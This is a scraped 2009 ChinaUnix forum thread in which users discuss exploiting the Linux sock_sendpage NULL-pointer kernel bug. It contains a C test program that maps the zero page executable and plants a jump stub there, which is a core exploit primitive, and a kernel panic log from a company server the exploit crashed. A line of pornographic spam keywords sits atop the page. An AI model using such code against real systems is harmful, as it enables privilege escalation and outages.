亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
樓主: 獨孤九賤
打印 上一主題 下一主題

新爆內(nèi)核高危漏洞sock_sendpage的利用分析的討論 [復(fù)制鏈接]

論壇徽章:
0
51 [報告]
發(fā)表于 2009-08-26 15:18 |只看該作者
實際上之前我還發(fā)過一個exploit的例子,里面是return int的。這個kernel_code()最后返回會到調(diào)用send_page()的地方。

但是,現(xiàn)在還有一個問題,就是之前說的問題,kernel_code()中調(diào)用C庫中的memcpy()的問題,這個問題該如何解釋?

論壇徽章:
0
52 [報告]
發(fā)表于 2009-08-26 16:26 |只看該作者

回復(fù) #51 CUDev 的帖子

呵呵,我還是覺得在kernel_code()函數(shù)中調(diào)用C庫的函數(shù)是可以的~

本來打算驗證一下的,上次做了一下實驗,ubuntu直接就整個掛起了(屏幕定格、無任何響應(yīng)),也不知道是什么問題。 感覺在PC上做這種事情實在太惡心…… 以前都是在嵌入式開發(fā)版上搞的,隨便折騰。可惜現(xiàn)在沒這個環(huán)境了……

也希望哪位朋友有興趣的話驗證一下,給個結(jié)論~ 呵呵

論壇徽章:
0
53 [報告]
發(fā)表于 2009-08-26 23:09 |只看該作者
Robert Love的LKD中:
與用戶空間的應(yīng)用程序不同,內(nèi)核是不能鏈接使用標(biāo)準(zhǔn)C函數(shù)庫(其他的那些庫也不行)。造成這種情況的原因有很多,其中就包括先有雞還是先有蛋的這個悖論。不過最主要的原因在于速度和大小。對于內(nèi)核來講,完整的C庫太大了------即便是從中抽取出一個合適的子集------大小和效率都不能被接收。


像printf這樣的庫函數(shù),應(yīng)該是不能在Kernel中直接call的。但是其他一些函數(shù),它們的實現(xiàn)不進(jìn)行系統(tǒng)調(diào)用,有些理論上是可以的。但是,在動態(tài)編譯的時候,想memset()這樣的地址是如何搞定的呢?難道加載器在內(nèi)核態(tài)運(yùn)行,解析符號地址?

論壇徽章:
0
54 [報告]
發(fā)表于 2009-08-27 13:51 |只看該作者
這個代碼在64位系統(tǒng)下編不過啊。。匯編器報錯了

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
55 [報告]
發(fā)表于 2009-08-27 14:20 |只看該作者
原帖由 cugb_cat 于 2009-8-27 13:51 發(fā)表
這個代碼在64位系統(tǒng)下編不過啊。。匯編器報錯了


cat把錯誤信息貼出來,以便熟悉匯編的朋友給出解釋。。

論壇徽章:
0
56 [報告]
發(fā)表于 2009-08-27 14:23 |只看該作者
原帖由 Godbach 于 2009-8-27 14:20 發(fā)表


cat把錯誤信息貼出來,以便熟悉匯編的朋友給出解釋。。

  1. mqq@208_96:/tmp> ./run.sh
  2. /tmp/ccXvMmLd.s: Assembler messages:
  3. /tmp/ccXvMmLd.s:12: Error: Incorrect register `%rax' used with `l' suffix
  4. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rdx' used with `l' suffix
  5. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rax' used with `l' suffix
復(fù)制代碼


  1. mqq@208_96:/tmp> uname -a
  2. Linux 208_96 2.6.16.60-0.21-******64-090415 #7 SMP Wed Apr 15 09:25:02 CST 2009 x86_64 x86_64 x86_64 GNU/Linux
復(fù)制代碼


  1. mqq@208_96:/tmp> gcc -v
  2. Using built-in specs.
  3. Target: x86_64-suse-linux
  4. Configured with: ../configure --enable-threads=posix --prefix=/usr --with-local-prefix=/usr/local --infodir=/usr/share/info --mandir=/usr/share/man --libdir=/usr/lib64 --libexecdir=/usr/lib64 --enable-languages=c,c++,objc,fortran,obj-c++,java,ada --enable-checking=release --with-gxx-include-dir=/usr/include/c++/4.1.2 --enable-ssp --disable-libssp --disable-libgcj --with-slibdir=/lib64 --with-system-zlib --enable-shared --enable-__cxa_atexit --enable-libstdcxx-allocator=new --program-suffix= --enable-version-specific-runtime-libs --without-system-libunwind --with-cpu=generic --host=x86_64-suse-linux
  5. Thread model: posix
  6. gcc version 4.1.2 20070115 (prerelease) (SUSE Linux)
復(fù)制代碼

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
57 [報告]
發(fā)表于 2009-08-27 14:28 |只看該作者
能不能將32位上編譯出來的那個可執(zhí)行文件直接放在64位上試一下?

論壇徽章:
0
58 [報告]
發(fā)表于 2009-08-27 14:53 |只看該作者
原帖由 Godbach 于 2009-8-27 14:28 發(fā)表
能不能將32位上編譯出來的那個可執(zhí)行文件直接放在64位上試一下?

mmap出錯。。。
但是這個代碼在64位系統(tǒng)上編譯后,是可以成功的:

  1. #include <stdio.h>
  2. #include <sys/personality.h>
  3. #include <sys/mman.h>

  4. typedef void test();

  5. void testfn()
  6. {
  7.         printf("testfn success\n");
  8. }

  9. int main(int argc, char **argv)
  10. {
  11.         void *mem;
  12.         //personality(PER_SVR4);
  13.         if ((personality(0xffffffff)) != PER_SVR4) {
  14.                 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  15.                 if (mem != NULL) {
  16.                         /* for old kernels with SELinux that don't allow RWX anonymous mappings
  17.                            luckily they don't have NX support either ;) */
  18.                         mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  19.                         if (mem != NULL) {
  20.                                 fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
  21.                                 return 1;
  22.                         }
  23.                 }
  24.         } else {
  25.                 int ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
  26.                 if (ret == -1) {
  27.                         fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
  28.                         return 1;
  29.                 }
  30.         }
  31.         printf("success\n");
  32.         *(char *)0 = '\x90';
  33.         *(char *)1 = '\xe9';
  34.         *(unsigned long *)2 = (unsigned long)&testfn - 6;
  35.         ((test *)0)();
  36.         return 0;
  37. }
復(fù)制代碼

論壇徽章:
1
寅虎
日期:2014-11-30 21:25:54
59 [報告]
發(fā)表于 2009-08-28 16:45 |只看該作者
大家測試要小心了 剛把公司一個8 cpu的服務(wù)囂搞掛掉了

  1. $ uname -a
  2. Linux RD 2.6.9-78.ELsmp #1 SMP Wed Jul 9 15:39:47 EDT 2008 i686 i686 i386 GNU/Linux
  3. $ cat /proc/cpuinfo
  4. ...
  5. processor       : 7
  6. vendor_id       : GenuineIntel
  7. cpu family      : 6
  8. model           : 23
  9. model name      : Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
  10. stepping        : 10
  11. cpu MHz         : 2000.129
  12. cache size      : 6144 KB
  13. physical id     : 1
  14. siblings        : 4
  15. core id         : 7
  16. cpu cores       : 4
  17. fdiv_bug        : no
  18. hlt_bug         : no
  19. f00f_bug        : no
  20. coma_bug        : no
  21. fpu             : yes
  22. fpu_exception   : yes
  23. cpuid level     : 13
  24. wp              : yes
  25. flags           : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc pni monitor ds_cpl tm2 xtpr
  26. bogomips        : 4000.12
復(fù)制代碼

Aug 28 14:50:19 RD kernel: CSLIP: code copyright 1989 Regents of the University of California
Aug 28 14:50:19 RD kernel: PPP generic driver version 2.4.2
Aug 28 14:50:19 RD kernel: NET: Registered protocol family 24
Aug 28 14:50:19 RD kernel: Unable to handle kernel paging request at virtual address 0000a206
Aug 28 14:50:19 RD kernel:  printing eip:
Aug 28 14:50:19 RD kernel: 08048803
Aug 28 14:50:19 RD kernel: *pde = 36847001
Aug 28 14:50:19 RD kernel: Oops: 0000 [#1]
Aug 28 14:50:19 RD kernel: SMP
Aug 28 14:50:19 RD kernel: Modules linked in: pppoe pppox ppp_generic slhc parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc cpufreq_powersave ib_srp ib_sdp ib_ipoib rdma_ucm rdma_cm iw_cm ib_addr ib_umad ib_ucm ib_uverbs ib_cm ib_sa ib_mad ib_core dm_mirror dm_multipath dm_mod button battery ac md5 ipv6 joydev ehci_hcd uhci_hcd i5000_edac edac_mc hw_random bnx2 ext3 jbd ata_piix libata cciss sd_mod scsi_mod
Aug 28 14:50:19 RD kernel: CPU:    0
Aug 28 14:50:19 RD kernel: EIP:    0060:[<08048803>]    Not tainted VLI
Aug 28 14:50:19 RD kernel: EFLAGS: 00010293   (2.6.9-78.ELsmp)
Aug 28 14:50:19 RD kernel: EIP is at 0x8048803
Aug 28 14:50:19 RD kernel: eax: 0000a206   ebx: f8d084a0   ecx: 00000000   edx: c17e3f60
Aug 28 14:50:19 RD kernel: esi: d495ec80   edi: e9665f50   ebp: e9665e88   esp: e9665e74
Aug 28 14:50:19 RD kernel: ds: 007b   es: 007b   ss: 0068
Aug 28 14:50:19 RD kernel: Process exploit (pid: 4292, threadinfo=e9665000 task=d576c1f0)
Aug 28 14:50:19 RD kernel: Stack: 0000a206 0000a206 0000a206 00000000 f8d084a0 00001000 c028378a 00001000
Aug 28 14:50:19 RD kernel:        00000000 c035d420 00001000 c01420cb 00001000 f57fc0e4 00000000 c035d420
Aug 28 14:50:20 RD kernel:        00000000 c17e3f60 00000000 00000000 c0141a97 00001000 fffcfc50 00001000
Aug 28 14:50:20 RD kernel: Call Trace:
Aug 28 14:50:20 RD kernel:  [<c028378a>] sock_sendpage+0x37/0x3c
Aug 28 14:50:20 RD kernel:  [<c01420cb>] file_send_actor+0x30/0x49
Aug 28 14:50:20 RD kernel:  [<c0141a97>] do_generic_mapping_read+0x1b2/0x445
Aug 28 14:50:20 RD kernel:  [<c0174b9e>] notify_change+0x25e/0x268
Aug 28 14:50:20 RD kernel:  [<c0142128>] generic_file_sendfile+0x44/0x57
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d034>] do_sendfile+0x24a/0x290
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d122>] sys_sendfile+0xa8/0xb4
Aug 28 14:50:20 RD kernel:  [<c02e09db>] syscall_call+0x7/0xb
Aug 28 14:50:20 RD kernel: Code:  Bad EIP value.
Aug 28 14:50:20 RD kernel:  <0>Fatal exception: panic in 5 seconds
Aug 28 16:29:14 RD syslogd 1.4.1: restart.
Aug 28 16:29:14 RD syslog: syslogd startup succeeded

[ 本帖最后由 vbs100 于 2009-8-28 16:53 編輯 ]

論壇徽章:
0
60 [報告]
發(fā)表于 2009-09-08 14:14 |只看該作者

回復(fù) #12 bobozhang 的帖子

為什么說eip在執(zhí)行jmp時的值是6呢
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP